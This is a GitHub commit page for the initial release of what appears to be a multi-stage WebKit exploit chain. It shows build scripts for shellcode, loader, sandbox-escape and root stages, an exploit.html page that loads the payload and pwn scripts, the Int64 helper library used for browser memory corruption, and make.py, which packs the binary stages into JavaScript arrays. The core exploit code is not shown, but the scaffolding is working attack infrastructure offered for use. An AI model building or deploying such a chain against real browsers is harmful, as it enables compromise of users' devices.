Skip to content

Commit 921c58e

Browse files
committed
Release
0 parents  commit 921c58e

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

41 files changed

+2840
-0
lines changed

.gitignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
/stage0.bin
2+
/payload.js
3+
*.dSYM
4+

CMakeLists.txt

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
cmake_minimum_required(VERSION 3.11)
2+
set(CMAKE_CXX_STANDARD 17)
3+
4+
project(chain)
5+
6+
add_subdirectory(payload/loader/reflective)
7+
8+
# stage 1
9+
add_subdirectory(payload/sbx)
10+
# stage 2
11+
add_subdirectory(payload/root)
12+
13+
add_custom_target(payload.js ALL DEPENDS sbx stage0
14+
COMMAND python3 ${PROJECT_SOURCE_DIR}/make.py)
15+
16+
add_custom_target(stage0 ALL
17+
COMMAND nasm ${PROJECT_SOURCE_DIR}/payload/stage0.asm -o stage0)

Makefile

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
all: stage0.bin
2+
make -C payload/loader
3+
make -C payload/sbx
4+
./make.py
5+
6+
stage0.bin: payload/stage0.asm
7+
nasm -o $@ $<
8+
9+
clean:
10+
rm -f stage0.bin payload.js
11+
make clean -C payload/loader
12+
make clean -C payload/sbx
13+
14+
.PHONY: all clean

README.md

Lines changed: 487 additions & 0 deletions
Large diffs are not rendered by default.

exploit.html

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
<html>
2+
<head>
3+
<link rel="shortcut icon" href="#">
4+
<link rel="icon" href="#">
5+
<style>
6+
body {
7+
margin: 0;
8+
}
9+
iframe {
10+
/*display: none;*/
11+
}
12+
</style>
13+
</head>
14+
<body>
15+
<iframe id=frame width=10% height=10% src="tuto.pdf"></iframe>
16+
<div id=logs></div>
17+
18+
<script>
19+
document.write(`
20+
<script src="payload.js?${Math.random()}"><\/script>
21+
<script src="ready.js"><\/script>
22+
<script src="logging.js"><\/script>
23+
<script src="utils.js"><\/script>
24+
<script src="int64.js"><\/script>
25+
<script src="pwn.js?${Math.random()}"><\/script>`)
26+
</script>
27+
</body>
28+
</html>

int64.js

Lines changed: 243 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,243 @@
1+
//
2+
// Tiny module that provides big (64bit) integers.
3+
//
4+
// Copyright (c) 2016 Samuel Groß
5+
//
6+
// Requires utils.js
7+
//
8+
9+
// Datatype to represent 64-bit integers.
10+
//
11+
// Internally, the integer is stored as a Uint8Array in little endian byte order.
12+
function Int64(v) {
13+
// The underlying byte array.
14+
var bytes = new Uint8Array(8);
15+
this.bytes = bytes;
16+
17+
switch (typeof v) {
18+
case 'number':
19+
v = '0x' + Math.floor(v).toString(16);
20+
case 'string':
21+
if (v.startsWith('0x'))
22+
v = v.substr(2);
23+
if (v.length % 2 == 1)
24+
v = '0' + v;
25+
26+
var bigEndian = unhexlify(v, 8);
27+
bytes.set(Array.from(bigEndian).reverse());
28+
break;
29+
case 'object':
30+
if (v instanceof Int64) {
31+
bytes.set(v.getBytes());
32+
} else {
33+
if (v.length != 8)
34+
throw TypeError("Array must have excactly 8 elements.");
35+
bytes.set(v);
36+
}
37+
break;
38+
case 'undefined':
39+
break;
40+
default:
41+
throw TypeError("Int64 constructor requires an argument.");
42+
}
43+
44+
// Return a double whith the same underlying bit representation.
45+
this.asDouble = function() {
46+
// Check for NaN
47+
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
48+
throw new RangeError("Integer can not be represented by a double");
49+
50+
return Struct.unpack(Struct.float64, bytes);
51+
};
52+
53+
// Return a javascript value with the same underlying bit representation.
54+
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
55+
// due to double conversion constraints.
56+
this.asJSValue = function() {
57+
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
58+
throw new RangeError("Integer can not be represented by a JSValue");
59+
60+
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
61+
this.assignSub(this, 0x1000000000000);
62+
var res = Struct.unpack(Struct.float64, bytes);
63+
this.assignAdd(this, 0x1000000000000);
64+
65+
return res;
66+
};
67+
68+
// Return the underlying bytes of this number as array.
69+
this.getBytes = function() {
70+
return Array.from(bytes);
71+
};
72+
73+
// Return the byte at the given index.
74+
this.byteAt = function(i) {
75+
return bytes[i];
76+
};
77+
78+
// Return the value of this number as unsigned hex string.
79+
this.toString = function() {
80+
return '0x' + hexlify(Array.from(bytes).reverse());
81+
};
82+
83+
this.asInt32 = function() {
84+
var value = new Int64(0);
85+
for (var i = 0; i < 8; i++) {
86+
if (i < 4) {
87+
value.bytes[i] = this.bytes[i];
88+
} else {
89+
value.bytes[i] = 0;
90+
}
91+
}
92+
93+
return parseInt('0x' + hexlify(Array.from(value.bytes).reverse()).slice(-8));
94+
};
95+
96+
this.asInt16 = function() {
97+
var value = new Int64(0);
98+
for (var i = 0; i < 8; i++) {
99+
if (i < 2) {
100+
value.bytes[i] = this.bytes[i];
101+
} else {
102+
value.bytes[i] = 0;
103+
}
104+
}
105+
106+
return parseInt('0x' + hexlify(Array.from(value.bytes).reverse()).slice(-8));
107+
};
108+
109+
// Basic arithmetic.
110+
// These functions assign the result of the computation to their 'this' object.
111+
112+
// Decorator for Int64 instance operations. Takes care
113+
// of converting arguments to Int64 instances if required.
114+
function operation(f, nargs) {
115+
return function() {
116+
if (arguments.length != nargs)
117+
throw Error("Not enough arguments for function " + f.name);
118+
for (var i = 0; i < arguments.length; i++)
119+
if (!(arguments[i] instanceof Int64))
120+
arguments[i] = new Int64(arguments[i]);
121+
return f.apply(this, arguments);
122+
};
123+
}
124+
125+
// this = -n (two's complement)
126+
this.assignNeg = operation(function neg(n) {
127+
for (var i = 0; i < 8; i++)
128+
bytes[i] = ~n.byteAt(i);
129+
130+
return this.assignAdd(this, Int64.One);
131+
}, 1);
132+
133+
// this = a + b
134+
this.assignAdd = operation(function add(a, b) {
135+
var carry = 0;
136+
for (var i = 0; i < 8; i++) {
137+
var cur = a.byteAt(i) + b.byteAt(i) + carry;
138+
carry = cur > 0xff | 0;
139+
bytes[i] = cur;
140+
}
141+
return this;
142+
}, 2);
143+
144+
// this = a - b
145+
this.assignSub = operation(function sub(a, b) {
146+
var carry = 0;
147+
for (var i = 0; i < 8; i++) {
148+
var cur = a.byteAt(i) - b.byteAt(i) - carry;
149+
carry = cur < 0 | 0;
150+
bytes[i] = cur;
151+
}
152+
return this;
153+
}, 2);
154+
155+
// this = a ^ b
156+
this.assignXor = operation(function xor(a, b) {
157+
for (var i = 0; i < 8; i++) {
158+
bytes[i] = a.byteAt(i) ^ b.byteAt(i);
159+
}
160+
return this;
161+
}, 2);
162+
163+
// this = a & b
164+
this.assignAnd = operation(function and(a, b) {
165+
for (var i = 0; i < 8; i++) {
166+
bytes[i] = a.byteAt(i) & b.byteAt(i);
167+
}
168+
return this;
169+
}, 2);
170+
171+
// this = a << b
172+
this.assignShiftLeft = operation(function shiftLeft(a, b) {
173+
for (var i = 0; i < 8; i++) {
174+
if (i < b) {
175+
bytes[i] = 0;
176+
} else {
177+
bytes[i] = a.byteAt(Sub(i, b).asInt32());
178+
}
179+
}
180+
return this;
181+
}, 2);
182+
183+
// this = a >> b
184+
this.assignShiftRight = operation(function shiftRight(a, b) {
185+
for (var i = 0; i < 8; i++) {
186+
if (i < (8 - b)) {
187+
bytes[i] = a.byteAt(Add(i, b).asInt32());
188+
} else {
189+
bytes[i] = 0;
190+
}
191+
}
192+
return this;
193+
}, 2);
194+
}
195+
196+
// Constructs a new Int64 instance with the same bit representation as the provided double.
197+
Int64.fromDouble = function(d) {
198+
var bytes = Struct.pack(Struct.float64, d);
199+
return new Int64(bytes);
200+
};
201+
202+
// Convenience functions. These allocate a new Int64 to hold the result.
203+
204+
// Return -n (two's complement)
205+
function Neg(n) {
206+
return (new Int64()).assignNeg(n);
207+
}
208+
209+
// Return a + b
210+
function Add(a, b) {
211+
return (new Int64()).assignAdd(a, b);
212+
}
213+
214+
// Return a - b
215+
function Sub(a, b) {
216+
return (new Int64()).assignSub(a, b);
217+
}
218+
219+
// Return a ^ b
220+
function Xor(a, b) {
221+
return (new Int64()).assignXor(a, b);
222+
}
223+
224+
// Return a & b
225+
function And(a, b) {
226+
return (new Int64()).assignAnd(a, b);
227+
}
228+
229+
// Return a << b
230+
function ShiftLeft(a, b) {
231+
return (new Int64()).assignShiftLeft(a, b);
232+
}
233+
234+
// Return a >> b
235+
function ShiftRight(a, b) {
236+
return (new Int64()).assignShiftRight(a, b);
237+
}
238+
239+
// Some commonly used numbers.
240+
Int64.Zero = new Int64(0);
241+
Int64.One = new Int64(1);
242+
243+
// That's all the arithmetic we need for exploiting WebKit.. :)

logging.js

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
print = function(msg) {
2+
var logs = document.getElementById('logs');
3+
var t = document.createTextNode(msg);
4+
logs.appendChild(t);
5+
var br = document.createElement('br');
6+
logs.appendChild(br);
7+
}

make.py

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
#!/usr/bin/env python3
2+
import os
3+
import subprocess
4+
5+
with open('payload/sbx/sbx', 'rb') as f:
6+
stage2 = f.read()
7+
8+
with open('payload/loader/loader.bin', 'rb') as f:
9+
stage1 = f.read()
10+
11+
with open('stage0.bin', 'rb') as f:
12+
stage0 = f.read()
13+
14+
def js_repr(_b):
15+
return ', '.join(map(hex, map(int, _b)))
16+
17+
output = '''
18+
const stage0 = [
19+
%s
20+
];
21+
const stage1 = [
22+
%s
23+
];
24+
const stage2 = [
25+
%s
26+
];
27+
28+
stage1Arr = new Uint8Array(stage1);
29+
stage2Arr = new Uint8Array(stage2);
30+
''' % (
31+
js_repr(stage0),
32+
js_repr(stage1),
33+
js_repr(stage2),
34+
)
35+
output = output[1:]
36+
37+
with open('payload.js', 'w') as f:
38+
f.write(output)

movie.mov

43.9 MB
Binary file not shown.

0 commit comments

Comments
 (0)